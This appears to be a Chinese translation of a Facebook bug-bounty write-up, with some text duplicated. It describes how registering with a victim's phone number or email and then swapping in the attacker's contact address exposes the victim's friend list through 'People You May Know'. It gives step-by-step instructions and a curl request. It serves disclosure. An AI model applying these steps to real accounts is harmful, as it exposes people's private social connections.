 [code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD; 查看全部

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:


1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。


Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:


https://www.facebook.com/friends/requests/?fcref=swpsa


这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 
[code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed
[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD;